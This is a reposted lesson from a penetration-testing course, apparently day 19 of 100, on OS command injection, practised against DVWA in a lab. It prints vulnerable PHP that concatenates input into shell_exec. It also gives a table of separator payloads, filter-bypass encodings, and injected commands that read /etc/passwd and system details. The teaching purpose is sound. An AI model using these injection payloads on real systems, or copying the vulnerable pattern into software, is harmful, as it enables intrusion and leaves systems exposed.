DEV Community

Cover image for Day 19: Command Injection — When User Input Reaches the OS Shell (2026)
Mr Elite
Mr Elite

Posted on • Originally published at securityelites.com

Day 19: Command Injection — When User Input Reaches the OS Shell (2026)

📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.

Day 19: Command Injection — When User Input Reaches the OS Shell (2026)

DAY 19 OF 100
PHASE 2: WEB SECURITY

Full Course →

🟢 Day 19 — Command Injection

Day 100 — Professional Pentester

← Day 18: File Upload

Day 20: Web App Pentest Methodology →

⚖️
Authorised testing only: All demonstrations in this lesson use DVWA in your isolated lab environment. Attempting command injection against any system you do not own or have explicit written authorisation to test is illegal under computer crime laws globally. In professional assessments, command injection findings are treated as critical severity requiring immediate escalation.

19

A developer builds a useful feature: a network diagnostic tool on their internal web application. You type in an IP address, click “Ping,” and the server runs a ping command and shows you the output. It’s convenient. The problem is that the developer concatenated your input directly into the shell command. Instead of an IP address, you type 8.8.8.8; cat /etc/passwd. The server runs both commands. And sends you the password file.

This is command injection — and it is one of the most immediately impactful vulnerability classes in existence. When it works, an attacker has operating system access with the web server’s permissions from the moment they submit a single crafted form field. Today you’ll understand exactly how it happens and how to find it systematically.

Command injection sits under OWASP A03:2021 — Injection, alongside SQL injection. Both share the same root cause: user input is passed to an interpreter without maintaining the distinction between data and code. The interpreter in SQL injection is the database engine. In command injection, it’s the operating system shell — which is far more powerful and has broader access to the underlying system.

📋 Day 19 Contents

  1. How Command Injection Works
  2. Shell Metacharacters — The Injection Toolkit
  3. DVWA Low — In-Band Command Injection
  4. DVWA Medium — Filter Bypass
  5. Blind Command Injection
  6. Out-of-Band Detection
  7. Where to Look — Attack Surface
  8. Windows Command Injection
  9. Prevention — Safe API Usage
  10. Day 19 Practical Task

How Command Injection Works

The vulnerability originates when an application needs to perform a system operation and uses a shell command to do it — then incorporates user input into that command without proper handling. The OS shell receives the combined string and executes everything it contains, regardless of intent.

The vulnerable pattern — application code causing command injection

Typical vulnerable code — PHP ping feature

$ip = $_POST[‘ip’]; // user input — unvalidated
$output = shell_exec(“ping -c 4 ” . $ip);
echo $output;

With intended input: ip = 8.8.8.8

shell_exec(“ping -c 4 8.8.8.8”) ← runs as intended

With injected input: ip = 8.8.8.8; id

shell_exec(“ping -c 4 8.8.8.8; id”)

Shell parses this as TWO commands:

1. ping -c 4 8.8.8.8 (intended)

2. id (injected — runs arbitrary)

Output includes: uid=33(www-data) gid=33(www-data)

The shell doesn’t distinguish between developer intent and user input

Any character that has meaning to the shell becomes a potential weapon

Shell Metacharacters — The Injection Toolkit

Shell metacharacters are characters that the shell treats as special — they control program flow, pipe data between commands, or perform substitutions. In the context of command injection, they are the mechanism that allows an attacker to terminate the intended command and introduce their own. Understanding each one is essential for both testing and building a complete blocklist (though blocklists are the wrong defence — see Prevention).

Character
Name
Behaviour
Example Payload

;
Semicolon
Runs commands sequentially, regardless of exit status
8.8.8.8; id

Passes stdout of first command as stdin to second
8.8.8.8 | id

&&
AND
Second command runs only if first succeeds (exit code 0)
8.8.8.8 && id

||
OR
Second command runs only if first fails (non-zero exit)
invalid || id

cmd
Backticks
Command substitution — output of cmd replaces the expression
8.8.8.8id

$(cmd)
Subshell
Modern command substitution — same as backticks, more nestable
8.8.8.8$(id)

%0a
Newline
URL-encoded newline — acts as command separator in some contexts
8.8.8.8%0aid

Choosing the right separator — which one to try first

Start with semicolon — works on any Unix shell, simplest

8.8.8.8; id

If semicolon is filtered, try pipe

8.8.8.8 | id

If both filtered, try &&

127.0.0.1 && id ← use localhost (guaranteed to succeed) so AND runs

If | is filtered but || is not

notanip || id ← fake IP fails, OR runs id

If everything is filtered, try encoding

8.8.8.8%3b id ← %3b = URL-encoded semicolon
8.8.8.8%0aid ← %0a = URL-encoded newline

LEVEL 1 DVWA Low — In-Band Command Injection

DVWA’s Command Injection module simulates a network diagnostic tool. At Low security, user input is passed directly to the shell with no filtering. This is the most direct form of command injection — the output of injected commands appears immediately in the HTTP response (in-band).

DVWA Command Injection (Low) — step-by-step via Burp and browser

DVWA → Command Injection → Security: Low

The form has a single field: “Enter an IP address”

Step 1: Test that the feature works normally

Input: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms

Step 2: Test command separator — does it inject?

Input: 127.0.0.1; id
PING 127.0.0.1… [ping output]
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CONFIRMED: id command output appears — command injection works

Step 3: Gather system information

127.0.0.1; whoami
127.0.0.1; uname -a
127.0.0.1; hostname
127.0.0.1; cat /etc/passwd
127.0.0.1; ip a

Step 4: Try via Burp Repeater — more control over the request

POST /dvwa/vulnerabilities/exec/
ip=127.0.0.1%3b+id&Submit=Submit

%3b = ; URL-encoded, + = space URL-encoded

DVWA Low vulnerable source:

$target = $_REQUEST[‘ip’];
$cmd = shell_exec(‘ping -c 4 ‘ . $target);

No filtering at all — direct concatenation into shell


📖 Read the complete guide on SecurityElites

This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →


This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.

Top comments (0)